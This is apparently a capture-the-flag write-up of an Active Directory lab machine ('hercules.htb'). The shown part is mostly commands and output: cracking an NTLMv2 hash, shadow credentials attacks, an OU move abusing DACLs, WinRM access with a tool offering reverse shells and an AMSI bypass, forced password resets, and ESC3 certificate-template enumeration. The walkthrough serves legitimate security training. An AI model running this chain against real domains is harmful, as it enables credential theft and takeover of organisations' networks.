[SMB] NTLMv2-SSP Hash     : natalie.a::HERCULES:1122334455667788:61AB47A7B81465FCA0082DB9AB8E01C8:0101000000000000809C9D8119A4DC01172227DC6DC995C80000000002000800430045004600380001001E00570049004E002D005000530041005100490039005600490053004100530004003400570049004E002D00500053004100510049003900560049005300410053002E0043004500460038002E004C004F00430041004C000300140043004500460038002E004C004F00430041004C000500140043004500460038002E004C004F00430041004C0007000800809C9D8119A4DC0106000400020000000800300030000000000000000000000000200000A6F0A57405E9431AD5728EF55446BDDECBE7E5E197719BC2CC2541C6E53A2B950A0010000000000000000000000000000000000009001E0063006900660073002F00310030002E00310030002E00310034002E0037000000000000000000

We got NTLMv2 hash of the user natalie.a. And we cracked it successfully.
Bash
[Feb 22, 2026 - 16:42:01 (CET)] exegol-D3xt3R hercules # hashcat hash --show                            
Hash-mode was not specified with -m. Attempting to auto-detect hash mode.
The following mode was auto-detected as the only one matching your input hash:

5600 | NetNTLMv2 | Network Protocol

NOTE: Auto-detect is best effort. The correct hash-mode is NOT guaranteed!
Do NOT report auto-detect issues unless you are certain of the hash type.

NATALIE.A::HERCULES:1122334455667788:814f8c875ad386f46ebfd356c8bacb96:0101000000000000809c9d8119a4dc01fc5a5414cffff0ad0000000002000800430045004600380001001e00570049004e002d005000530041005100490039005600490053004100530004003400570049004e002d00500053004100510049003900560049005300410053002e0043004500460038002e004c004f00430041004c000300140043004500460038002e004c004f00430041004c000500140043004500460038002e004c004f00430041004c0007000800809c9d8119a4dc0106000400020000000800300030000000000000000000000000200000a6f0a57405e9431ad5728ef55446bddecbe7e5e197719bc2cc2541c6e53a2b950a0010000000000000000000000000000000000009001e0063006900660073002f00310030002e00310030002e00310034002e0037000000000000000000:Prettyprincess123!
AAAAAnd we successfully get authenticated to the domain controller
Bash
[Feb 22, 2026 - 16:45:25 (CET)] exegol-D3xt3R hercules # nxc smb 10.129.2.43 -u 'natalie.a'  -p 'Prettyprincess123!' -k
SMB         10.129.2.43     445    dc               [*]  x64 (name:dc) (domain:hercules.htb) (signing:True) (SMBv1:False) (NTLM:False)
SMB         10.129.2.43     445    dc               [+] hercules.htb\natalie.a:Prettyprincess123!
Let's go back to bloodhound to see what we can do with the new owned user.
The user isn't in Remote Management Users Group so we can't winrm to the box yet.
This user had GenericWrite over a lot of users and an OU. I tried targeted kerberoasting for all the users that I had GenericWrite over and I couldn't crack any passwords, this was a little unnecessary as we could've done a shadow credential attack where we will leverage the msDS-KeyCredentialLink attribute to inject valid asymmetric credentials (like public-private key pairs) into a user or computer account. This would allow us to get a valid TGT to the user using Certificate Based Auth and then get the NTLM hash for the user.
Bash
[Feb 23, 2026 - 03:37:29 (CET)] exegol-D3xt3R hercules # getTGT.py hercules.htb/natalie.a:'Prettyprincess123!' -dc-ip 10.129.2.43

Impacket v0.13.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Saving ticket in natalie.a.ccache

[Feb 23, 2026 - 02:53:13 (CET)] exegol-D3xt3R hercules # for target in web_admin ray.n harris.d ken.w bob.w johnathan.j; do
    echo "Setting key pair for target users"
     certipy shadow auto -u 'natalie.a@hercules.htb' -p 'Prettyprincess123!' -k  -account $target -target dc.hercules.htb -dc-ip 10.129.2.43 -dc-host dc.hercules.htb

     echo "[+] Finished $target."
    echo "----------------------------------------"
done

Here is the list of the hashes that I managed to gather with shadow credentials attack.
Bash
web_admin:bba073b6255e15b30ac6204d67933ad8
ray.n:bba073b6255e15b30ac6204d67933ad8
harris.d:bba073b6255e15b30ac6204d67933ad8
ken.w:bbe608565f201166999904e40c967c7b
bob.w:8a65c74e8f0073babbfac6725c66cc3f
johnathan.j:5809e5fc2ca162d909b15c62d7c3707c

I also read some DACLs for the user that I can control and found out that the user bob.w had a lot of WRITE privileges over his attributes such as msDS-AllowedToActOnBehalfOfOtherIdentity as well as CREATE_CHILD over different OUs
Bash
[Feb 23, 2026 - 03:37:54 (CET)] exegol-D3xt3R hercules # bloodyAD -d hercules.htb --host dc.hercules.htb -k get writable --detail                       

distinguishedName: CN=S-1-5-11,CN=ForeignSecurityPrincipals,DC=hercules,DC=htb
url: WRITE
wWWHomePage: WRITE

distinguishedName: OU=Engineering Department,OU=DCHERCULES,DC=hercules,DC=htb
device: CREATE_CHILD
ipNetwork: CREATE_CHILD
organizationalUnit: CREATE_CHILD
intellimirrorGroup: CREATE_CHILD
msImaging-PSPs: CREATE_CHILD
msCOM-PartitionSet: CREATE_CHILD
remoteStorageServicePoint: CREATE_CHILD
nTFRSSettings: CREATE_CHILD
remoteMailRecipient: CREATE_CHILD
msTAPI-RtConference: CREATE_CHILD
inetOrgPerson: CREATE_CHILD
domainPolicy: CREATE_CHILD
msTAPI-RtPerson: CREATE_CHILD
msDS-App-Configuration: CREATE_CHILD
container: CREATE_CHILD
printQueue: CREATE_CHILD
indexServerCatalog: CREATE_CHILD
ipsecPolicy: CREATE_CHILD
volume: CREATE_CHILD
groupOfNames: CREATE_CHILD
msDS-ManagedServiceAccount: CREATE_CHILD
contact: CREATE_CHILD
msieee80211-Policy: CREATE_CHILD
document: CREATE_CHILD
person: CREATE_CHILD
mSMQMigratedUser: CREATE_CHILD
mS-SQL-OLAPServer: CREATE_CHILD
mS-SQL-SQLServer: CREATE_CHILD
organizationalPerson: CREATE_CHILD
msExchConfigurationContainer: CREATE_CHILD
msDS-GroupManagedServiceAccount: CREATE_CHILD
nisMap: CREATE_CHILD
nisObject: CREATE_CHILD
groupPolicyContainer: CREATE_CHILD
msDS-AzAdminManager: CREATE_CHILD
room: CREATE_CHILD
ipService: CREATE_CHILD
ipProtocol: CREATE_CHILD
msPKI-Key-Recovery-Agent: CREATE_CHILD
applicationVersion: CREATE_CHILD
residentialPerson: CREATE_CHILD
msMQ-Group: CREATE_CHILD
group: CREATE_CHILD
oncRpc: CREATE_CHILD
serviceConnectionPoint: CREATE_CHILD
msDS-AppData: CREATE_CHILD
rRASAdministrationConnectionPoint: CREATE_CHILD
locality: CREATE_CHILD
msDS-ShadowPrincipalContainer: CREATE_CHILD
classStore: CREATE_CHILD
account: CREATE_CHILD
user: CREATE_CHILD
msMQ-Custom-Recipient: CREATE_CHILD
rFC822LocalPart: CREATE_CHILD
groupOfUniqueNames: CREATE_CHILD
ipsecNegotiationPolicy: CREATE_CHILD
ipsecNFA: CREATE_CHILD
documentSeries: CREATE_CHILD
rpcContainer: CREATE_CHILD
serviceAdministrationPoint: CREATE_CHILD
intellimirrorSCP: CREATE_CHILD
organizationalRole: CREATE_CHILD
msCOM-Partition: CREATE_CHILD
ipsecFilter: CREATE_CHILD
physicalLocation: CREATE_CHILD
computer: CREATE_CHILD
nisNetgroup: CREATE_CHILD
applicationEntity: CREATE_CHILD
dSA: CREATE_CHILD
ipsecISAKMPPolicy: CREATE_CHILD
name: WRITE
cn: WRITE

distinguishedName: OU=Security Department,OU=DCHERCULES,DC=hercules,DC=htb
device: CREATE_CHILD
ipNetwork: CREATE_CHILD
organizationalUnit: CREATE_CHILD
intellimirrorGroup: CREATE_CHILD
msImaging-PSPs: CREATE_CHILD
msCOM-PartitionSet: CREATE_CHILD
remoteStorageServicePoint: CREATE_CHILD
nTFRSSettings: CREATE_CHILD
remoteMailRecipient: CREATE_CHILD
msTAPI-RtConference: CREATE_CHILD
inetOrgPerson: CREATE_CHILD
domainPolicy: CREATE_CHILD
msTAPI-RtPerson: CREATE_CHILD
msDS-App-Configuration: CREATE_CHILD
container: CREATE_CHILD
printQueue: CREATE_CHILD
indexServerCatalog: CREATE_CHILD
ipsecPolicy: CREATE_CHILD
volume: CREATE_CHILD
groupOfNames: CREATE_CHILD
msDS-ManagedServiceAccount: CREATE_CHILD
contact: CREATE_CHILD
msieee80211-Policy: CREATE_CHILD
document: CREATE_CHILD
person: CREATE_CHILD
mSMQMigratedUser: CREATE_CHILD
mS-SQL-OLAPServer: CREATE_CHILD
mS-SQL-SQLServer: CREATE_CHILD
organizationalPerson: CREATE_CHILD
msExchConfigurationContainer: CREATE_CHILD
msDS-GroupManagedServiceAccount: CREATE_CHILD
nisMap: CREATE_CHILD
nisObject: CREATE_CHILD
groupPolicyContainer: CREATE_CHILD
msDS-AzAdminManager: CREATE_CHILD
room: CREATE_CHILD
ipService: CREATE_CHILD
ipProtocol: CREATE_CHILD
msPKI-Key-Recovery-Agent: CREATE_CHILD
applicationVersion: CREATE_CHILD
residentialPerson: CREATE_CHILD
msMQ-Group: CREATE_CHILD
group: CREATE_CHILD
oncRpc: CREATE_CHILD
serviceConnectionPoint: CREATE_CHILD
msDS-AppData: CREATE_CHILD
rRASAdministrationConnectionPoint: CREATE_CHILD
locality: CREATE_CHILD
msDS-ShadowPrincipalContainer: CREATE_CHILD
classStore: CREATE_CHILD
account: CREATE_CHILD
user: CREATE_CHILD
msMQ-Custom-Recipient: CREATE_CHILD
rFC822LocalPart: CREATE_CHILD
groupOfUniqueNames: CREATE_CHILD
ipsecNegotiationPolicy: CREATE_CHILD
ipsecNFA: CREATE_CHILD
documentSeries: CREATE_CHILD
rpcContainer: CREATE_CHILD
serviceAdministrationPoint: CREATE_CHILD
intellimirrorSCP: CREATE_CHILD
organizationalRole: CREATE_CHILD
msCOM-Partition: CREATE_CHILD
ipsecFilter: CREATE_CHILD
physicalLocation: CREATE_CHILD
computer: CREATE_CHILD
nisNetgroup: CREATE_CHILD
applicationEntity: CREATE_CHILD
dSA: CREATE_CHILD
ipsecISAKMPPolicy: CREATE_CHILD
name: WRITE
cn: WRITE

distinguishedName: OU=Web Department,OU=DCHERCULES,DC=hercules,DC=htb
device: CREATE_CHILD
ipNetwork: CREATE_CHILD
organizationalUnit: CREATE_CHILD
intellimirrorGroup: CREATE_CHILD
msImaging-PSPs: CREATE_CHILD
msCOM-PartitionSet: CREATE_CHILD
remoteStorageServicePoint: CREATE_CHILD
nTFRSSettings: CREATE_CHILD
remoteMailRecipient: CREATE_CHILD
msTAPI-RtConference: CREATE_CHILD
inetOrgPerson: CREATE_CHILD
domainPolicy: CREATE_CHILD
msTAPI-RtPerson: CREATE_CHILD
msDS-App-Configuration: CREATE_CHILD
container: CREATE_CHILD
printQueue: CREATE_CHILD
indexServerCatalog: CREATE_CHILD
ipsecPolicy: CREATE_CHILD
volume: CREATE_CHILD
groupOfNames: CREATE_CHILD
msDS-ManagedServiceAccount: CREATE_CHILD
contact: CREATE_CHILD
msieee80211-Policy: CREATE_CHILD
document: CREATE_CHILD
person: CREATE_CHILD
mSMQMigratedUser: CREATE_CHILD
mS-SQL-OLAPServer: CREATE_CHILD
mS-SQL-SQLServer: CREATE_CHILD
organizationalPerson: CREATE_CHILD
msExchConfigurationContainer: CREATE_CHILD
msDS-GroupManagedServiceAccount: CREATE_CHILD
nisMap: CREATE_CHILD
nisObject: CREATE_CHILD
groupPolicyContainer: CREATE_CHILD
msDS-AzAdminManager: CREATE_CHILD
room: CREATE_CHILD
ipService: CREATE_CHILD
ipProtocol: CREATE_CHILD
msPKI-Key-Recovery-Agent: CREATE_CHILD
applicationVersion: CREATE_CHILD
residentialPerson: CREATE_CHILD
msMQ-Group: CREATE_CHILD
group: CREATE_CHILD
oncRpc: CREATE_CHILD
serviceConnectionPoint: CREATE_CHILD
msDS-AppData: CREATE_CHILD
rRASAdministrationConnectionPoint: CREATE_CHILD
locality: CREATE_CHILD
msDS-ShadowPrincipalContainer: CREATE_CHILD
classStore: CREATE_CHILD
account: CREATE_CHILD
user: CREATE_CHILD
msMQ-Custom-Recipient: CREATE_CHILD
rFC822LocalPart: CREATE_CHILD
groupOfUniqueNames: CREATE_CHILD
ipsecNegotiationPolicy: CREATE_CHILD
ipsecNFA: CREATE_CHILD
documentSeries: CREATE_CHILD
rpcContainer: CREATE_CHILD
serviceAdministrationPoint: CREATE_CHILD
intellimirrorSCP: CREATE_CHILD
organizationalRole: CREATE_CHILD
msCOM-Partition: CREATE_CHILD
ipsecFilter: CREATE_CHILD
physicalLocation: CREATE_CHILD
computer: CREATE_CHILD
nisNetgroup: CREATE_CHILD
applicationEntity: CREATE_CHILD
dSA: CREATE_CHILD
ipsecISAKMPPolicy: CREATE_CHILD
name: WRITE
cn: WRITE

distinguishedName: CN=Auditor,OU=Security Department,OU=DCHERCULES,DC=hercules,DC=htb
name: WRITE
cn: WRITE

distinguishedName: CN=Vincent Gray,OU=Security Department,OU=DCHERCULES,DC=hercules,DC=htb
name: WRITE
cn: WRITE

distinguishedName: CN=Nate Hicks,OU=Security Department,OU=DCHERCULES,DC=hercules,DC=htb
name: WRITE
cn: WRITE

distinguishedName: CN=Stephen Miller,OU=Security Department,OU=DCHERCULES,DC=hercules,DC=htb
name: WRITE
cn: WRITE

distinguishedName: CN=Mark Stone,OU=Security Department,OU=DCHERCULES,DC=hercules,DC=htb
name: WRITE
cn: WRITE

distinguishedName: CN=Elijah Morrison,OU=Security Department,OU=DCHERCULES,DC=hercules,DC=htb
name: WRITE
cn: WRITE

distinguishedName: CN=Angelo Onclarit,OU=Security Department,OU=DCHERCULES,DC=hercules,DC=htb
name: WRITE
cn: WRITE

distinguishedName: CN=Will Smith,OU=Engineering Department,OU=DCHERCULES,DC=hercules,DC=htb
name: WRITE
cn: WRITE

distinguishedName: CN=Zeke Solomon,OU=Engineering Department,OU=DCHERCULES,DC=hercules,DC=htb
name: WRITE
cn: WRITE

distinguishedName: CN=Adriana Italia,OU=Engineering Department,OU=DCHERCULES,DC=hercules,DC=htb
name: WRITE
cn: WRITE

distinguishedName: CN=Tish Ckenvkitch,OU=Engineering Department,OU=DCHERCULES,DC=hercules,DC=htb
name: WRITE
cn: WRITE

distinguishedName: CN=Jennifer Ankton,OU=Engineering Department,OU=DCHERCULES,DC=hercules,DC=htb
name: WRITE
cn: WRITE

distinguishedName: CN=Shae Jones,OU=Engineering Department,OU=DCHERCULES,DC=hercules,DC=htb
name: WRITE
cn: WRITE

distinguishedName: CN=Joel Conwell,OU=Engineering Department,OU=DCHERCULES,DC=hercules,DC=htb
name: WRITE
cn: WRITE

distinguishedName: CN=Jacob Bentley,OU=Engineering Department,OU=DCHERCULES,DC=hercules,DC=htb
name: WRITE
cn: WRITE

distinguishedName: CN=web_admin,OU=Web Department,OU=DCHERCULES,DC=hercules,DC=htb
name: WRITE
cn: WRITE

distinguishedName: CN=Bob Wood,OU=Web Department,OU=DCHERCULES,DC=hercules,DC=htb
thumbnailPhoto: WRITE
pager: WRITE
mobile: WRITE
homePhone: WRITE
userSMIMECertificate: WRITE
msDS-ExternalDirectoryObjectId: WRITE
msDS-cloudExtensionAttribute20: WRITE
msDS-cloudExtensionAttribute19: WRITE
msDS-cloudExtensionAttribute18: WRITE
msDS-cloudExtensionAttribute17: WRITE
msDS-cloudExtensionAttribute16: WRITE
msDS-cloudExtensionAttribute15: WRITE
msDS-cloudExtensionAttribute14: WRITE
msDS-cloudExtensionAttribute13: WRITE
msDS-cloudExtensionAttribute12: WRITE
msDS-cloudExtensionAttribute11: WRITE
msDS-cloudExtensionAttribute10: WRITE
msDS-cloudExtensionAttribute9: WRITE
msDS-cloudExtensionAttribute8: WRITE
msDS-cloudExtensionAttribute7: WRITE
msDS-cloudExtensionAttribute6: WRITE
msDS-cloudExtensionAttribute5: WRITE
msDS-cloudExtensionAttribute4: WRITE
msDS-cloudExtensionAttribute3: WRITE
msDS-cloudExtensionAttribute2: WRITE
msDS-cloudExtensionAttribute1: WRITE
msDS-GeoCoordinatesLongitude: WRITE
msDS-GeoCoordinatesLatitude: WRITE
msDS-GeoCoordinatesAltitude: WRITE
msDS-AllowedToActOnBehalfOfOtherIdentity: WRITE
msPKI-CredentialRoamingTokens: WRITE
msDS-FailedInteractiveLogonCountAtLastSuccessfulLogon: WRITE
msDS-FailedInteractiveLogonCount: WRITE
msDS-LastFailedInteractiveLogonTime: WRITE
msDS-LastSuccessfulInteractiveLogonTime: WRITE
msDS-SupportedEncryptionTypes: WRITE
msPKIAccountCredentials: WRITE
msPKIDPAPIMasterKeys: WRITE
msPKIRoamingTimeStamp: WRITE
mSMQDigests: WRITE
mSMQSignCertificates: WRITE
userSharedFolderOther: WRITE
userSharedFolder: WRITE
url: WRITE
otherIpPhone: WRITE
ipPhone: WRITE
assistant: WRITE
primaryInternationalISDNNumber: WRITE
primaryTelexNumber: WRITE
otherMobile: WRITE
otherFacsimileTelephoneNumber: WRITE
userCert: WRITE
name: WRITE
homePostalAddress: WRITE
personalTitle: WRITE
wWWHomePage: WRITE
otherHomePhone: WRITE
streetAddress: WRITE
otherPager: WRITE
info: WRITE
otherTelephone: WRITE
userCertificate: WRITE
preferredDeliveryMethod: WRITE
registeredAddress: WRITE
internationalISDNNumber: WRITE
x121Address: WRITE
facsimileTelephoneNumber: WRITE
teletexTerminalIdentifier: WRITE
telexNumber: WRITE
telephoneNumber: WRITE
physicalDeliveryOfficeName: WRITE
postOfficeBox: WRITE
postalCode: WRITE
postalAddress: WRITE
street: WRITE
st: WRITE
l: WRITE
c: WRITE
cn: WRITE

distinguishedName: CN=Ken Wiggins,OU=Web Department,OU=DCHERCULES,DC=hercules,DC=htb
name: WRITE
cn: WRITE

distinguishedName: CN=Johnathan Johnson,OU=Web Department,OU=DCHERCULES,DC=hercules,DC=htb
name: WRITE
cn: WRITE

distinguishedName: CN=Harris Dunlop,OU=Web Department,OU=DCHERCULES,DC=hercules,DC=htb
name: WRITE
cn: WRITE

distinguishedName: CN=Ray Nelson,OU=Web Department,OU=DCHERCULES,DC=hercules,DC=htb
name: WRITE
cn: WRITE

The DACL abuse was so complex, I still can't believe the theory that I had worked. After carefully reading the DACL for the user bob.w I tried to get users from the different OUs that bob.w had a lot of write privileges on, onto the Web Department OU because the user natalie.a had GenericWrite privilege over the Web Department OU, meaning we can redo the shadow credential attack on other users. I tried to test this manually querying LDAP via Powerview, but I couldn't get it to work. I totally overlooked the fact the we can change the RDN of the users in the Security Department, I focused on this OU as it had the user auditor which is part of Remote Management Group, meaning he can winrm to the box.
Bash
[Feb 24, 2026 - 23:07:13 (CET)] exegol-D3xt3R hercules # cat << EOF > move.ldif
dn: CN=auditor,OU=Security Department,OU=DCHERCULES,DC=hercules,DC=htb
changetype: modrdn
newrdn: CN=auditor
deleteoldrdn: 1
newsuperior: OU=Web Department,OU=DCHERCULES,DC=hercules,DC=htb
EOF
[Feb 24, 2026 - 23:07:25 (CET)] exegol-D3xt3R hercules # getTGT.py hercules.htb/bob.w -hashes ':8a65c74e8f0073babbfac6725c66cc3f' -dc-ip 10.129.3.58
Impacket v0.13.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Saving ticket in bob.w.ccache
[Feb 24, 2026 - 23:07:53 (CET)] exegol-D3xt3R hercules # ldapmodify -Y GSSAPI -H ldap://dc.hercules.htb -f move.ldif                                
SASL/GSSAPI authentication started
SASL username: bob.w@HERCULES.HTB
SASL SSF: 256
SASL data security layer installed.
modifying rdn of entry "CN=auditor,OU=Security Department,OU=DCHERCULES,DC=hercules,DC=htb"
[Feb 24, 2026 - 23:08:02 (CET)] exegol-D3xt3R hercules # bloodyAD -d hercules.htb --host dc.hercules.htb -k get object auditor 

distinguishedName: ==CN=auditor,OU=Web Department,OU=DCHERCULES,DC=hercules,DC=htb==
accountExpires: 9999-12-31 23:59:59.999999+00:00

As we can see here, we successfully changed the user's RDN, now we can trick the domain controller into thinking that it belongs to another OU, and get the NTLM hash for the user via shadow credentials attack.
Bash
[Feb 24, 2026 - 23:10:37 (CET)] exegol-D3xt3R hercules # getTGT.py hercules.htb/natalie.a:'Prettyprincess123!' -dc-ip 10.129.3.58   

Impacket v0.13.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Saving ticket in natalie.a.ccache
[Feb 24, 2026 - 23:10:49 (CET)] exegol-D3xt3R hercules # export KRB5CCNAME=natalie.a.ccache
[Feb 24, 2026 - 23:14:14 (CET)] exegol-D3xt3R hercules # certipy shadow auto -u 'natalie.a@hercules.htb' -p 'Prettyprincess123!' -k  -account auditor -target dc.hercules.htb -dc-ip 10.129.3.58 -dc-host dc.hercules.htb
Certipy v5.0.3 - by Oliver Lyak (ly4k)

[*] Targeting user 'auditor'
[*] Generating certificate
[*] Certificate generated
[*] Generating Key Credential
[*] Key Credential generated with DeviceID '6c1fc99787ef47f380224211448c1702'
[*] Adding Key Credential with device ID '6c1fc99787ef47f380224211448c1702' to the Key Credentials for 'auditor'
[*] Successfully added Key Credential with device ID '6c1fc99787ef47f380224211448c1702' to the Key Credentials for 'auditor'
[*] Authenticating as 'auditor' with the certificate
[*] Certificate identities:
[*]     No identities found in this certificate
[*] Using principal: 'auditor@hercules.htb'
[*] Trying to get TGT...
[*] Got TGT
[*] Saving credential cache to 'auditor.ccache'
[*] Wrote credential cache to 'auditor.ccache'
[*] Trying to retrieve NT hash for 'auditor'
[*] Restoring the old Key Credentials for 'auditor'
[*] Successfully restored the old Key Credentials for 'auditor'
[*] NT hash for 'auditor': a9285c625af80519ad784729655ff325

As we can see we got the NTLM hash for the user auditor. I then used winrmexec to get a WINRM session on the box.
Bash
[Feb 25, 2026 - 12:31:40 (CET)] exegol-D3xt3R winrmexec # getTGT.py hercules.htb/auditor -hashes ':a9285c625af80519ad784729655ff325' -dc-ip 10.129.242.196
ecImpacket v0.13.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Saving ticket in auditor.ccache
[Feb 25, 2026 - 12:31:51 (CET)] exegol-D3xt3R winrmexec # export KRB5CCNAME=auditor.ccache

[Feb 25, 2026 - 12:32:13 (CET)] exegol-D3xt3R winrmexec # python3 evil_winrmexec.py -k -no-pass -ssl dc.hercules.htb
[*] '-target_ip' not specified, using dc.hercules.htb
[*] '-port' not specified, using 5986
[*] '-url' not specified, using https://dc.hercules.htb:5986/wsman
[*] using domain and username from ccache: HERCULES.HTB\auditor
[*] '-spn' not specified, using HTTP/dc.hercules.htb@HERCULES.HTB
[*] '-dc-ip' not specified, using HERCULES.HTB
[*] requesting TGS for HTTP/dc.hercules.htb@HERCULES.HTB

Ctrl+D to exit, Ctrl+C will try to interrupt the running pipeline gracefully
This is not an interactive shell! If you need to run programs that expect
inputs from stdin, or exploits that spawn cmd.exe, etc., pop a !revshell

Special !bangs:
  !download RPATH [LPATH]          # downloads a file or directory (as a zip file); use 'PATH'
                                   # if it contains whitespace

  !upload [-xor] LPATH [RPATH]     # uploads a file; use 'PATH' if it contains whitespace, though use iwr
                                   # if you can reach your ip from the box, because this can be slow;
                                   # use -xor only in conjunction with !psrun/!netrun

  !amsi                            # amsi bypass, run this right after you get a prompt

  !psrun [-xor] URL                # run .ps1 script from url; uses ScriptBlock smuggling, so no !amsi patching is
                                   # needed unless that script tries to load a .NET assembly; if you can't reach
                                   # your ip, !upload with -xor first, then !psrun -xor 'c:\foo\bar.ps1' (needs absolute path)

  !netrun [-xor] URL [ARG] [ARG]   # run .NET assembly from url, use 'ARG' if it contains whitespace;
                                   # !amsi first if you're getting '...program with an incorrect format' errors;
                                   # if you can't reach your ip, !upload with -xor first then !netrun -xor 'c:\foo\bar.exe' (needs absolute path)

  !revshell IP PORT                # pop a revshell at IP:PORT with stdin/out/err redirected through a socket; if you can't reach your ip and you
                                   # you need to run an executable that expects input, try:
                                   # PS> Set-Content -Encoding ASCII 'stdin.txt' "line1`nline2`nline3"
                                   # PS> Start-Process some.exe -RedirectStandardInput 'stdin.txt' -RedirectStandardOutput 'stdout.txt'

  !log                             # start logging output to winrmexec_[timestamp]_stdout.log
  !stoplog                         # stop logging output to winrmexec_[timestamp]_stdout.log

PS C:\Users\auditor\Desktop> whoami
hercules\auditor



I looked through the groups that the user was a member of because bloodhound doesn't show everything, and here is what I found
Powershell
PS C:\Users\auditor\appdata\local\temp> whoami /groups

GROUP INFORMATION
-----------------

Group Name                                 Type             SID                                           Attributes                                        
========================================== ================ ============================================= ==================================================
Everyone                                   Well-known group S-1-1-0                                       Mandatory group, Enabled by default, Enabled group
BUILTIN\Remote Management Users            Alias            S-1-5-32-580                                  Mandatory group, Enabled by default, Enabled group
BUILTIN\Users                              Alias            S-1-5-32-545                                  Mandatory group, Enabled by default, Enabled group
BUILTIN\Pre-Windows 2000 Compatible Access Alias            S-1-5-32-554                                  Mandatory group, Enabled by default, Enabled group
BUILTIN\Certificate Service DCOM Access    Alias            S-1-5-32-574                                  Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NETWORK                       Well-known group S-1-5-2                                       Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users           Well-known group S-1-5-11                                      Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization             Well-known group S-1-5-15                                      Mandatory group, Enabled by default, Enabled group
HERCULES\Domain Employees                  Group            S-1-5-21-1889966460-2597381952-958560702-1108 Mandatory group, Enabled by default, Enabled group
HERCULES\Forest Management                 Group            S-1-5-21-1889966460-2597381952-958560702-1104 Mandatory group, Enabled by default, Enabled group
Authentication authority asserted identity Well-known group S-1-18-1                                      Mandatory group, Enabled by default, Enabled group
Mandatory Label\Medium Mandatory Level     Label            S-1-16-8192                                                                                     

The most interesting entry in this list was the Forest Management group, it seemed like it would have a lot of high privileged users. I inspected the user's DACL, and here is what I found.
Bash
[Feb 25, 2026 - 13:11:24 (CET)] exegol-D3xt3R hercules # bloodyAD -d hercules.htb --host dc.hercules.htb -k get writable               

distinguishedName: CN=S-1-5-11,CN=ForeignSecurityPrincipals,DC=hercules,DC=htb
permission: WRITE

distinguishedName: OU=Forest Migration,OU=DCHERCULES,DC=hercules,DC=htb
permission: CREATE_CHILD; WRITE
OWNER: WRITE
DACL: WRITE

distinguishedName: CN=Auditor,OU=Security Department,OU=DCHERCULES,DC=hercules,DC=htb
permission: WRITE

The user controls the Forest Migration OU entirely. Let's see what the OU holds now.
Bash
[Feb 25, 2026 - 13:18:46 (CET)] exegol-D3xt3R hercules # bloodyAD -d hercules.htb --host dc.hercules.htb -k --dc-ip 10.129.242.196  get children --target 'OU=Forest Migration,OU=DCHERCULES,DC=hercules,DC=htb'                

distinguishedName: CN=James Silver,OU=Forest Migration,OU=DCHERCULES,DC=hercules,DC=htb

distinguishedName: CN=Anthony Rudd,OU=Forest Migration,OU=DCHERCULES,DC=hercules,DC=htb

distinguishedName: CN=WINSRV01-2016,OU=Forest Migration,OU=DCHERCULES,DC=hercules,DC=htb

distinguishedName: CN=WINSRV02-2016,OU=Forest Migration,OU=DCHERCULES,DC=hercules,DC=htb

distinguishedName: CN=WINSRV03-2016,OU=Forest Migration,OU=DCHERCULES,DC=hercules,DC=htb

distinguishedName: CN=ENTERPRISE01-8.1,OU=Forest Migration,OU=DCHERCULES,DC=hercules,DC=htb

distinguishedName: CN=ENTERPRISE02-8.1,OU=Forest Migration,OU=DCHERCULES,DC=hercules,DC=htb

distinguishedName: CN=Windows Computer Administrators,OU=Forest Migration,OU=DCHERCULES,DC=hercules,DC=htb

distinguishedName: CN=IIS_Administrator,OU=Forest Migration,OU=DCHERCULES,DC=hercules,DC=htb

distinguishedName: CN=Taylor Maxwell,OU=Forest Migration,OU=DCHERCULES,DC=hercules,DC=htb

distinguishedName: CN=Fernando Rodriguez,OU=Forest Migration,OU=DCHERCULES,DC=hercules,DC=htb

Since we can write to the OU we can grant the user auditor GenericALL over the OU.
Bash
[Feb 25, 2026 - 13:55:00 (CET)] exegol-D3xt3R hercules # bloodyAD --host dc.hercules.htb --domain hercules.htb --dc-ip 10.129.242.196 -k add genericAll 'OU=Forest Migration,OU=DCHERCULES,DC=hercules,DC=htb' auditor
[+] auditor has now GenericAll on OU=Forest Migration,OU=DCHERCULES,DC=hercules,DC=htb

I did a deep enumeration on all the users that I would be able to control after compromising the OU, and the user fernando.r was the one the stood up during this. He belongs to Smartcard Operators group which is very unusual for a standard user to belong to. I made this very small shell script, because the machine had cleanup scripts. This script would make the user auditor the owner of the Forest Migration OU, grants him full privileges over the objects it holds, then resets the password for fernando.r and enables him.
Bash
bloodyAD --host dc.hercules.htb --domain hercules.htb --dc-ip 10.129.242.196 -k add genericAll 'OU=Forest Migration,OU=DCHERCULES,DC=hercules,DC=htb' auditor
bloodyAD --host dc.hercules.htb --domain hercules.htb --dc-ip 10.129.242.196 -k set owner 'OU=Forest Migration,OU=DCHERCULES,DC=hercules,DC=htb' auditor
bloodyAD -d hercules.htb --host dc.hercules.htb -k set password 'fernando.r' 'Pwn3d12345!'
bloodyAD -d hercules.htb --host dc.hercules.htb -k remove uac 'fernando.r' -f ACCOUNTDISABLE
After doing so we can request a TGT for the user and enumerate ADCS and find that there is a template vulnerable to ESC3.
Bash
[Feb 25, 2026 - 22:41:34 (CET)] exegol-D3xt3R hercules # certipy find -u 'fernando.r@hercules.htb' -p 'Pwn3d12345!' -k -target dc.hercules.htb -dc-ip 10.129.242.196 -text
Certipy v5.0.3 - by Oliver Lyak (ly4k)

[*] Finding certificate templates
[*] Found 34 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 18 enabled certificate templates
[*] Finding issuance policies
[*] Found 14 issuance policies
[*] Found 0 OIDs linked to templates
[*] Retrieving CA configuration for 'CA-HERCULES' via RRP
[!] Failed to connect to remote registry. Service should be starting now. Trying again...
[*] Successfully retrieved CA configuration for 'CA-HERCULES'
[*] Checking web enrollment for CA 'CA-HERCULES' @ 'dc.hercules.htb'
[*] Saving text output to '20260225224216_Certipy.txt'
[*] Wrote text output to '20260225224216_Certipy.txt'

We can then check the text file to see what certificates we can enroll to as a member of the group Smartcard Operators and we can find this.
Powershell
  23
    Template Name                       : EnrollmentAgent
    Display Name                        : Enrollment Agent
    Certificate Authorities             : CA-HERCULES
    Enabled                             : True
--
    Permissions
      Enrollment Permissions
        Enrollment Rights               : HERCULES.HTB\Smartcard Operators
                                          HERCULES.HTB\Domain Admins
                                          HERCULES.HTB\Enterprise Admins
      Object Control Permissions
